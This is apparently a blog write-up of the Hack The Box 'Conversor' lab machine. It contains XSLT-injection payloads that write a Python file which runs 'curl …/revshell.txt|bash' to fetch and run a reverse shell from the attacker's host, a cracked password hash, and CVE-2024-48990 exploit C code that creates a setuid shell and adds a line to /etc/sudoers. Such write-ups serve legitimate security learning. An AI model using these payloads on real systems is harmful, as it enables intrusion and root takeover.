top0n3@home:~$

Hackthebox Conversor machine write up

H3ll0 pwn3rs !!!

Here is a writeup for Hackthebox Conversor machine

recon

Hackthebox Conversor box is an easy linux machine.

I exploited the machine as follow:

  • Exploit XSLT Injection to upload python script on flask app and run code to get reverse shell
  • Found databse file
  • Retrieve users names and passwords in md5 hash
  • Crack the password of fismathack with hashcat
  • Connect to ssh with fismathack credential
  • Found sudo configuration that allow to run needrestart as root
  • Exploit CVE-2024-48990 to make PricEsc
  • Get root access

Nmap scan

# Nmap 7.94SVN scan initiated Thu Nov 20 20:03:29 2025 as: nmap -sSVC -T4 --min-rate 1000 -o nmap.scan 10.10.11.92
Nmap scan report for 10.10.11.92 (10.10.11.92)
Host is up (2.8s latency).
Not shown: 949 closed tcp ports (reset), 49 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 20 20:04:21 2025 -- 1 IP address (1 host up) scanned in 52.56 seconds

Nmap (TCP) scan reveal two opens port 22 for ssh and 80 for http . UDP scan reveal nothing

add conversor.htb to /ect/hosts

echo "10.10.11.92  conversor.htb " | sudo tee -a /etc/hosts

1. Foothold: Web attack

I tried SQLI, SSTI and others injection attack on login, register forms but didn’t found anything. After account creation and login, we can found that the web page allow as to upload xml and xslt file and those files will be convert to html file. They also has /about andpoint that allow as to download the app source code which is python flask app

main page about page

The main ideal that come in my mind was to try XXE Injection. After tryhard and error, i could confirm that XML entity is allow, by external entities are not allow. So impossible for me to exploit XML External Entity Injection

Let us analyse the source code we downloaded

@app.route('/convert', methods=['POST'])
 93 def convert():$
 94     if 'user_id' not in session:
 95         return redirect(url_for('login'))
 96     xml_file = request.files['xml_file']
 97     xslt_file = request.files['xslt_file']
 98     from lxml import etree
 99     xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
100     xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
101     xml_file.save(xml_path)
102     xslt_file.save(xslt_path)
103     try:
104         parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
105         xml_tree = etree.parse(xml_path, parser)
106         xslt_tree = etree.parse(xslt_path)
107         transform = etree.XSLT(xslt_tree)
108         result_tree = transform(xml_tree)
109         result_html = str(result_tree)
110         file_id = str(uuid.uuid4())
111         filename = f"{file_id}.html"
112         html_path = os.path.join(UPLOAD_FOLDER, filename)
113         with open(html_path, "w") as f:
114             f.write(result_html)
115         conn = get_db()
116         conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
117         conn.commit()
118         conn.close()
119         return redirect(url_for('index'))
120     except Exception as e:
121         return f"Error: {e}"

The snipped bellow reveal that when we upload xml and xslt files, those files are processed by lxml python3 lib utils XEE didn’t work . So let try SXLT Injection

What is SXLT INJECTION

XSLT injection in Python using lxml occurs when an attacker can manipulate XSLT stylesheets processed by the application, potentially leading to unauthorized access or execution of commands. This vulnerability arises from improper handling of user input in XSLT transformations, allowing for exploitation if the application does not validate or sanitize the input correctly.
Payloadallthething XSLT Injection

Using payloadAllTheThings payload, i manage to create evil.txt file on server : The source code reveal server root directory which is /var/www/conversor.htb/

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/static/evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

main page main page

So We can write file on server, but what can we do with that !! ?
What happen if we write python script on the server ?
can we exec the script by navigating on it !? No
i wrote evil.py on static directory and unable to exec it. By when i wrote evil.py on script directory, something strangle, those script get executed

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import os # make sure that your python scrip is well indented 
os.system("curl 10.10.16.57:9090/")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

For xml file, i just uploaded nmap scan result Upload this xslt file and nmap scan result xml file, and the python3 code get executed on the server. Make sure that your python code is well indented main page So we have code execution on the server, Time to make reverse shell
To do that, i create a reverse shell script on my python http server, curl it through python3 and direct exec it with bash
The final xslt file is here:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import os # make sure that your python scrip is well indented 
os.system("curl 10.10.16.57:9090/revshell.txt|bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

And we got the shell

main page

What to do next !?, Enumeration


We have users.db in conversor.htb/instance directory, let download it and read it content with sqlite3

└──╼ $nc -lv 4444                                                   
Listening on 0.0.0.0 4444                                           
Connection received on conversor.htb 41470                          
sh: 0: can't access tty; job control turned off                                                                                         
$ ls                                                                
conversor.htb                                                       
$ ls -al                                                            
total 12                                                            
drwxr-x---  3 www-data www-data 4096 Aug 15 05:19 .                                                                                     
drwxr-xr-x 13 root     root     4096 Jul 31 03:55 ..                                                                                    
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .bash_history -> /dev/null                                                            
drwxr-x---  8 www-data www-data 4096 Aug 14 21:34 conversor.htb                                                                         
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .python_history -> /dev/null                                                          
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .sqlite_history -> /dev/null                                                          
$ cd convertor                                                      
sh: 3: cd: cd can't cd to convertor                                 
$ conversor.htb                                                     
$ ls                                                                
app.py                                                              
app.wsgi                                                            
instance                                                            
__pycache__                                                         
scripts                                                             
static                                                              
templates                                                           
uploads                                                             
$ cd scrips                                                         
sh: 6: cd: lcan't cd to scrips                                      
$cd scripts                                                         
$ ls                                                                
cleanup_uploads.py                                                  
evil.py                                                             
$ cd ..                                                             
$ ls                                                                
app.py                                                              
app.wsgi                                                            
instance                                                            
__pycache__                                                         
scripts                                                             
static                                                              
templates                                                           
uploads                                                             
$ cd instance                                                       
$ ls                                                                
users.db                                                            
$ cp users.db ../static  

I copied users.db from instance to static folder so i can download it using curl:

$curl http://conversor.htb/static/users.db -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  10370      0  0:00:02  0:00:02 --:--:-- 10373
$sqlite3 users.db 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
files  users
sqlite> select * from users
   ...> ;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|test|098f6bcd4621d373cade4e832627b4f6
sqlite> 

So we got fismathack md5 password hash. Let us crack it with hashcat

Crack fishmathack password hash with hashcat

hashcat -m 0 -a 0 hash.txt  /usr/share/wordlists/rockyou.txt  --user --show
fismathack:5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

fismathack password is: Keepmesafeandwarm

Use fishmathack credential to access to ssh and read user flag

main page

Root flag hunting

A little linux priv Esc Tricks reveal that fismathack can exec /usr/sbin/needrestart with sudo without enter passwrod.
Here is our real path to priv Esc.
By what can we do with needrestart !!??
A little google search reveal CVE-2024-48990 which is privEsc vuln affecting needrestart binary
for more on this vulnerability, you can look here CVE-2024-48990 Explain
Lucky for us, a POC for this vuln can be found on github at: CVE-2024-48990 POC

Analyse of the POC:

What the POC actually do : The Vuln itself is python importlib hijacking.
The POC:

  1. Create one directory on /tmp: mkdir /tmp/malicious
  2. compile C code to shared object __init__.so which when exec with sudo right, will copy /bin/bash to /tmp/poc and setup /tmp/poc to be suid binary so everyone can exec it to get root shell init.so file is store on malicious/importlib/ directory so when python scripyt running in malicious directory call import importlib`, the shared objec file __init__.so will be exec `c #include #include #include <sys/types.h> #include

static void a() attribute((constructor));

void a() { if(geteuid() == 0) { // Only execute if we’re running with root privileges setuid(0); setgid(0); const char *shell = “cp /bin/sh /tmp/poc; “ “chmod u+s /tmp/poc; “ “grep -qxF ‘ALL ALL=NOPASSWD: /tmp/poc’ /etc/sudoers || “ “echo ‘ALL ALL=NOPASSWD: /tmp/poc’ | tee -a /etc/sudoers > /dev/null &”; system(shell); } } ```

  1. After that, the poc create python3 script ( e.py) in malicious directory. e.py when exec will make import importlib so our previous shared object will be exec
  2. But for all to work well, we must setup PYTHONPATH to be egal to /tmp/malicious directory .
    Why ? Because we want to make python considere /tmp/malicious as the default directory where it must search libray
    PYTHONPATH="$PWD"
  3. Finally, the Poc run our previous python3 script e.py to get a shell.
    To follow the POC, we must compile the shared object on our local machine and upload it on the server and follow others instructions to get root shell
    After exec e.py script, we must now open an other terminal to exec needrestar binary with sudo command

And we got root access

main page

If you follow correctly all those step, you will get root access.

Hope you learnt something from this article

Happy Hacking !!!!!!! @Top0n3